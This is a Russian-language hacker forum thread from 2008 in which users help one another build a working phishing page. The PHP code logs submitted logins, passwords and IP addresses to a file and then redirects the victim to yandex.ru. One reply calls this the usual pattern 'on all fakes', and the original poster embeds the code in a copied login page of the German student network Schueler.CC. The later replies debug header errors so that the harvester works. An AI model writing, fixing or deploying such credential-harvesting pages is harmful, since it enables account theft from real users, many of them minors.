Запись данных в файл и переход!

Discussion in 'PHP' started by -=Dem0n=-, 20 Apr 2008.

  1. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Есть такой код:
    PHP:
    <? 
    global 
    $login;
    $filename "log.php";
    function 
    reglog() {
    global 
    $filename$login$pass$REMOTE_ADDR;
        
        
    $d date("d.m.Y - H.i.s");
        
    $str "
    Login         
    $login
    Password        
    $pass
    IP            
    $REMOTE_ADDR
    Date          
    $d";
        
    $f fopen($filename"a");
        
    fwrite($f"$str\n");
        
    fclose($f);
    }
    if (
    $loginreglog();
    ?>
    <form action="" method="post" name="f">
        <tr> 
          <td width="25%">Login</td>
          <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
        </tr>
        <tr> 
          <td>Password</td>
          <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
        <tr> 
          <td>Password2</td>
          <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
        </tr>
        <tr> 
          <td colspan="2">
              <input type="submit" value="Register"><br>
            </td>
        </tr>
      </form>
    Как сделатьчтобы после нажатия н кнопку пользователь переходит на определенный сайт?
    например action="http://ya.ru/" неработает! точнее работает но данные из форм не пишутся в файл!
     
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    1. Проверь права на запись
    2.В коде исправь:
    PHP:
    $str 
    Login         "
    .$login.
    Password        "
    .$pass.
    IP            "
    .$REMOTE_ADDR.
    Date          "
    .$d;
    Будет работать, если регистр глобалс on иначе везде надо POST['login'], POST['pass'].
     
  3. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    А права на запись какие?
     
  4. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    666 ставь
    PS http://faq.advancedhosters.com/chmod.html
    У тебя вообще файл не создаётся?
     
  5. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    дык запиши данные файл а потом переадресовывай, как на всех фейках.
    А не пишется ещё потому что функция ничего не возвращает
    PHP:
    <? 
    global 
    $login;
    $filename "log.php";
    function 
    reglog() {
    global 
    $filename$login$pass$REMOTE_ADDR;
        
        
    $d date("d.m.Y - H.i.s");
        
    $str "
    Login         
    $login
    Password        
    $pass
    IP            
    $REMOTE_ADDR
    Date          
    $d";
        
    $f fopen($filename"a+");
        
    fwrite($f$str."\n");
        
    fclose($f);   
        
    header('location: http://yandex.ru');
        return 
    true;
    }
    if (
    $loginreglog();
    ?>
    <form action="" method="post" name="f">
        <tr> 
          <td width="25%">Login</td>
          <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
        </tr>
        <tr> 
          <td>Password</td>
          <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
        <tr> 
          <td>Password2</td>
          <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
        </tr>
        <tr> 
          <td colspan="2">
              <input type="submit" value="Register"><br>
            </td>
        </tr>
      </form>
    Но я бы на твоём месте этот скрипт сделал совершенно по-дургому, т.к. твой метод считаю корявым)
    я б сделал вот так:
    PHP:
    <?php    
    function reglog($filename$login$pass
    {                                
        
    $d date("d.m.Y - H.i.s"); 
        
    $addr getenv('REMOTE_ADDR');
        
    $str 'Login '.$login."\n";
        
    $str .= 'Password '.$pass."\n";
        
    $str .= 'IP '.$addr."\n";
        
    $str .= 'Date '.$d."\n";         
            
        
    $f fopen($filename"a+");
        
    fwrite($f$str."\n");
        
    fclose($f);   
        
    header('location: http://yandex.ru');
        return 
    true;
    }

    $filename 'log.txt';

    if (isset(
    $_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);
    ?>
    <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
        <tr> 
          <td width="25%">Login</td>
          <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
        </tr>
        <tr> 
          <td>Password</td>
          <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
        <tr> 
          <td>Password2</td>
          <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
        </tr>
        <tr> 
          <td colspan="2">
              <input type="submit" value="Register" name="go"><br>
            </td>
        </tr>
      </form>
    Так мне больше нравится))
     
    #5 .:EnoT:., 20 Apr 2008
    Last edited: 20 Apr 2008
  6. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Большое спасибо! ;)
    Хотел сделать фейл но вот такая ошибка:
    Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 103
     
    #6 -=Dem0n=-, 20 Apr 2008
    Last edited: 20 Apr 2008
  7. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    103 это какраз header('location: http://yandex.ru/');
     
  8. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    немогу модифицировать информацию заголовка, заголовки уже отправлены, смотри как юзать header тут: http://php.su/functions/?f=header&choice=info
    PS Вообщем ставь php-код в самое начало страницы.
     
    #8 -=lebed=-, 20 Apr 2008
    Last edited: 20 Apr 2008
    2 people like this.
  9. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
     
    3 people like this.
  10. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Всеравно не получается!
    где именно вставить?
     
    #10 -=Dem0n=-, 20 Apr 2008
    Last edited by a moderator: 20 Apr 2008
  11. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    куки сессии хидеры пишуться только в начале скрипта, делай проверку на нажатие кнопки и все а дальше выводи html или редиректь
     
  12. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    омг
    PHP:
    <?php 
    ob_start
    ();  
    function 
    reglog($filename$login$pass
    {                                
        
    $d date("d.m.Y - H.i.s"); 
        
    $addr getenv('REMOTE_ADDR');
        
    $str 'Login '.$login."\n";
        
    $str .= 'Password '.$pass."\n";
        
    $str .= 'IP '.$addr."\n";
        
    $str .= 'Date '.$d."\n";         
            
        
    $f fopen($filename"a+");
        
    fwrite($f$str."\n");
        
    fclose($f);   
        
    header('location: http://yandex.ru');
        return 
    true;
    }

    $filename 'log.txt';

    if (isset(
    $_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

    ob_end_flush();
    ?>
    <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
        <tr> 
          <td width="25%">Login</td>
          <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
        </tr>
        <tr> 
          <td>Password</td>
          <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
        <tr> 
          <td>Password2</td>
          <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
        </tr>
        <tr> 
          <td colspan="2">
              <input type="submit" value="Register" name="go"><br>
            </td>
        </tr>
      </form>
     
  13. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Сверавно:
    Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 102
    102 return true;
     
    #13 -=Dem0n=-, 20 Apr 2008
    Last edited: 20 Apr 2008
  14. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    PS Дай полный код скрипта.
     
  15. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    HTML:
    <html>
    <head>
    <title>
    Schueler.CC | Dein Schu"ler Community-Center</title>
    <META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
    <META content="MSHTML 6.00.2600.0" name=GENERATOR>
    <META NAME="description" CONTENT="">
    <META NAME="keywords"    CONTENT="">
    <META NAME="page-type"   CONTENT="Homepage">
    <META NAME="robots"      CONTENT="index,follow">
    <script language="JavaScript" src="http://www.schueler.cc/js/style.js"></script>
    <script language="JavaScript" src="http://www.schueler.cc/js/func.js"></script>
    <script language="JavaScript" src="http://www.schueler.cc/js/AC_RunActiveContent.js"></script>
    <link rel="stylesheet" href="http://www.schueler.cc/css/style.css?2105" type="text/css">
    
    <link rel="shortcut icon" type="http://www.schueler.cc/image/x-icon" href="http://www.schueler.cc/favicon.ico">
    <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
    <script type="text/javascript">
    _uacct = "UA-1404380-1";
    urchinTracker();
    </script>
    </head>
    <body>
    <input type="hidden" name="button_gui_chat_ablehnen" value="ok"><input type="hidden" name="cb_id">
    </form>
    <input type="hidden" name="button_gui_keine_lust" value="ok"><input type="hidden" name="b_id">
    </form>
    
    <div align="center">
    <div id="mf_wall"></div>
    <table cellpadding=0 cellspacing=0 border=0 >
    
    <tr>
    <td valign="top" class="bg_weiss">
    	<table cellpadding=0 cellspacing=0 border=0 width=760>
    <tr>
    <td width=160><img src="http://www.schueler.cc/b/logo.png" width=160 height=86 border=0></a></td>
    <td width=600>
    <table cellpadding=0 cellspacing=0 border=0 width=600 background="http://www.schueler.cc/b/layout/bar_bg.png">
    <tr>
    <td><img src="http://www.schueler.cc/b/layout/topbar_begin.png" width=3 height=25 border=0></td>
    <td><a href="http://www.schueler.cc/s,login,anmeldung.php" class="oben">&nbsp;&nbsp;anmelden&nbsp;&nbsp;</a></td>
    <td>&nbsp;&nbsp;&nbsp;<a target="_blank" href="http://www.schueler.cc/s,hilfe.php" class="oben">&nbsp;&nbsp;hilfe&nbsp;&nbsp;</a></td>
    <!-- <td style="whitespace:nowrap; width:100px;"><a href="s,blog.php" class="oben">&nbsp;&nbsp;blog&nbsp;&nbsp;</a></td> -->
    <td width=100%></td>
    <td><a href="http://www.schueler.cc/s,login,login.php" class="oben">&nbsp;&nbsp;login&nbsp;&nbsp;</a></td>
    
    <td><img src="http://www.schueler.cc/b/layout/topbar_end.png" width=3 height=25 border=0></td>
    </tr>
    </table>
    <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
    <script language="JavaScript">
    <!--
    mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
    mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
    //-->
    </script>
    <table cellpadding=0 cellspacing=0 border=0 width=600 class="grauerrahmen">
    <tr>
    <td width=60></td>
    <td align="center" style="font-size:18px" height=60><b>Noch nicht dabei?</b></td>
    <td align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja.src=mbja1.src" onmouseout="mbja.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja" width=177 height=39 border=0></a></td>
    <td width=60></td>
    </tr>
    </table>
    <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
    </td>
    
    </tr>
    </table>
    	<table cellpadding=0 cellspacing=0 border=0 width=760 height=25>
    <tr>
    <td width=2 class="bar0"></td>
    	<td width=158 class="bar1"></td>
    </form>
    <td width=299 class="bar1"></td>
    <td width=299 class="bar3"><div class="ueber" style="color:#FFFFFF">Dein Schu"ler Community-Center!</div></td>
    <td width=2 class="bar2"></td>
    </tr>
    </table>
    <img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
    
    <table cellpadding=0 cellspacing=0 border=0 width=760>
    <tr>
    <td width=160 valign="top">
    <table cellpadding=0 cellspacing=0 border=0 width=160 class="rechtenav">
    PHP:
    <?php 
    ob_start
    ();  
    function 
    reglog($filename$login$pass
    {                                
        
    $d date("d.m.Y - H.i.s"); 
        
    $addr getenv('REMOTE_ADDR');
        
    $str 'Login '.$login."\n";
        
    $str .= 'Password '.$pass."\n";
        
    $str .= 'IP '.$addr."\n";
        
    $str .= 'Date '.$d."\n";         
            
        
    $f fopen($filename"a+");
        
    fwrite($f$str."\n");
        
    fclose($f);   
        
    header('location: http://yandex.ru');
        return 
    true;
    }

    $filename 'log.txt';

    if (isset(
    $_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

    ob_end_flush();
    ?>
    HTML:
    <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr>
    <td align="left">
    <img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
    <div style="padding-left:2px"><b class="grau">E-Mail:</b><br>
    <input type="text" name="login" maxlength="80" value="" class="cartlogin"><br>
    <b class="grau">Passwort:</b><br>
    <input type="password" maxlength="20" name="pass" class="cartlogin"><br>
    <img src="http://www.schueler.cc/b/s.png" width=1 height=3 border=0><br>
    <input type="submit" value="Login" name="go" class="submit" style="width:45px">
    </form><br><br>
    Noch nicht dabei?<br>
    
    <a href="http://www.schueler.cc/s,login,anmeldung.php"><b>Jetzt anmelden!</b></a>
    <br><br>
    <a href="http://www.schueler.cc/s,login,pwvergessen.php">Passwort vergessen?</a></div>
    <img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
    </td>
    </tr>
    
    </table>
    <br>
    	<table cellpadding=0 cellspacing=0 border=0 width=160>
    <tr>
    <td align="center">
    <table cellpadding=0 cellspacing=0 border=0 width=144>
    <tr>
    
    <td class="topic" colspan=2>Community-News</td>
    </tr>
    <tr>
    <td background="http://www.schueler.cc/b/layout/topic_s.png" height=1 colspan=2></td>
    </tr>
    <tr><td height=5></td></tr>
    <tr>
    <td class="grauerrahmen" style="padding:3px;">Ich sehe was, was du nicht siehst...<br><br>und das...<br>...bewegt sich<br>...gibt Gera"usche von sich<br>...ist ein neues Feature<br>...ist ab Montag auf CC<br>...ist von vielen schon lange erwartet</td>
    </tr>
    
    </table>
    </td>
    </tr>
    </table>
    	</td>
    <td width=600 class="grauerrahmen" valign="top" align="center">
    <script language="JavaScript">
    <!--
    mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
    mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
    //-->
    </script>	
    <table cellpadding=0 cellspacing=0 border=0 width=100%>
    <tr>
    <td width=70% valign="top" align="center">
    <br>
    <table cellpadding=0 cellspacing=0 border=0 width=380 height=100%>
    <tr>
    <td><b>Schueler.<span class="orange">CC</span> - Deutschlands Schu"ler Community</b><br><div class="grau" style="font-size:10px;">Die Plattform fu"r dich, deine Klasse und deine Freunde</div>
    
    <br>
    <ul>
    <li>Erfahre mehr u"ber deinen Freundeskreis und deren Freunde<br><br></li>
    <li>Lerne u"berall neue Leute kennen: An deiner Schule, in deiner Stadt...<br><br></li>
    <li>Extra Bereich fu"r deine Klasse mit eigenem Forum, Chat und vielem mehr.<br><br></li>
    <li>U"ber 20.000 Schulen sind bereits eingetragen, werde jetzt Teil von Deutschlands gro?er Schu"ler-Community!<br><br></li>
    </ul>
    <table cellpadding=0 cellspacing=0 border=0 width=100%>
    <tr>
    <td valign="bottom"><img src="http://www.schueler.cc/b/cc_homies.png" border=0></td>
    <td valign="top">
    <ul>
    <li>alles 100% kostenlos<br><br></li>
    
    </ul>
    <div align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja2.src=mbja1.src" onmouseout="mbja2.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja2" width=177 height=39 border=0></a></div>
    </td>
    </tr>
    </table>
    </td>
    </tr>
    </table>
    </td>
    <td width=30% style="background-color:#EEEEEE;" align="center" valign="top">
    <br><b>Gerade neu angemeldet:</b><br><br>
    <img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphp.png" border=0><br><div><b>Nikolai Naumann</b></div>Friedrich-List-Schule<br><br><img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphr.png" border=0><br><div><b>Bianca Maier</b></div>Staatliche Realschule Pfarrkirchen<br><br></td>
    
    </tr>
    </table>
    </td>
    </tr>
    </table>
    	<table cellpadding=0 cellspacing=0 border=0 width=760>
    <tr>
    <td width=160></td>
    <td align="center">
    <table cellpadding=4 cellspacing=4 border=0>
    <tr>
    <td><a href="http://www.schueler.cc/s,jugendschutz.php" class="unten">&nbsp;&nbsp;Jugendschutz&nbsp;&nbsp;</a></td>
    <td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php#datenschutz" class="unten">&nbsp;&nbsp;Datenschutz&nbsp;&nbsp;</a></td>
    <td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php" class="unten">&nbsp;&nbsp;Nutzungsbedingungen&nbsp;&nbsp;</a></td>
    
    <td><a href="http://www.schueler.cc/s,impressum.php" class="unten">&nbsp;&nbsp;Impressum&nbsp;&nbsp;</a></td>
    </tr>
    </table>
    </td>
    </tr>
    </table>
    </td>
    <td valign="top">
    
    <table cellpadding=0 cellspacing=0 border=0 >
    <tr>
    <td align="center" style="padding-left:10px;">
    <div id="mf_sky">
    <div class="scc_advert">-Anzeige-</div>
    <script type="text/javascript" src="http://adserver.adtech.de/addyn|3.0|247|1289006|0|168|ADTECH;loc=100;target=_blank;key=scc_m_15;kvsite=scc;kvsex=m;kvage=15;grp=1208708517;misc=2008.04.20.18.21.57.862630"></script></div>
    
    </td>
    </tr>
    </table>
    	</td>
    </tr>
    </table>
    </div>
    </body>
    </html>
    
    Это все вместе.
    Все пробелывсеубрал всеравно это предупреждение!
     
    #15 -=Dem0n=-, 20 Apr 2008
    Last edited: 20 Apr 2008
  16. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Блин ну помогите все что сказали сделал всеравно это предупреждение!
    Код я выложил!
     
  17. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    HEADER("LOCATION:ya.ru?ok")
    Проблему с HEADER возникают тока у новичков ... .делаем так
    if(iiset($_GET['ok']))
    {
    echo 'О прикольна))';
    }
    <form action=file.php?ok>
    ....
    <.form>
     
    1 person likes this.
  18. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    мля((
    PHP:
    <?php  
    if(isset($_POST['ok']))
    {
    echo 
    'УРА';
    exit();
    }
    function 
    reglog($filename$login$pass)  
    {                                 
        
    $d date("d.m.Y - H.i.s");  
        
    $addr getenv('REMOTE_ADDR'); 
        
    $str 'Login '.$login."\n"
        
    $str .= 'Password '.$pass."\n"
        
    $str .= 'IP '.$addr."\n"
        
    $str .= 'Date '.$d."\n";          
             
        
    $f fopen($filename"a+"); 
        
    fwrite($f$str."\n"); 
        
    fclose($f);    
        
    header('location: http://yandex.ru'); 
        return 
    true


    $filename 'log.txt'

    if (isset(
    $_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

    ?> 
    <form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
        <tr>  
          <td width="25%">Login</td> 
          <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
        </tr> 
        <tr>  
          <td>Password</td> 
          <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
        <tr>  
          <td>Password2</td> 
          <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
        </tr> 
        <tr>  
          <td colspan="2"> 
              <input type="submit" value="Register" name="go"><br> 
            </td> 
        </tr> 
      </form>
    <form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
    ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))
     
  19. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Хех только всеравно не работает!
    Адрес просто добавляется в строку но не переходит.
    Получается:
    PHP:

    <?php  
    if(isset($_POST['ok']))
    {
    echo 
    'ÓÐÀ';
    exit();
    }
    function 
    reglog($filename$login$pass)  
    {                                 
        
    $d date("d.m.Y - H.i.s");  
        
    $addr getenv('REMOTE_ADDR'); 
        
    $str 'Login '.$login."\n"
        
    $str .= 'Password '.$pass."\n"
        
    $str .= 'IP '.$addr."\n"
        
    $str .= 'Date '.$d."\n";          
             
        
    $f fopen($filename"a+"); 
        
    fwrite($f$str."\n"); 
        
    fclose($f);    
        
    header('location: http://yandex.ru'); 
        return 
    true


    $filename 'log.txt'

    if (isset(
    $_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

    ?> 
    <form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
    Вот если этот код вставить в тот что выше то неработает ну сам проверь.
    Предупреждение:
    Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\1233.php:11) in Z:\home\localhost\www\1233.php on line 19м
    19 строка: header('location: http://yandex.ru');
     
  20. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Слушай ток что проверил там и без моего коды вс ё рабтает... .))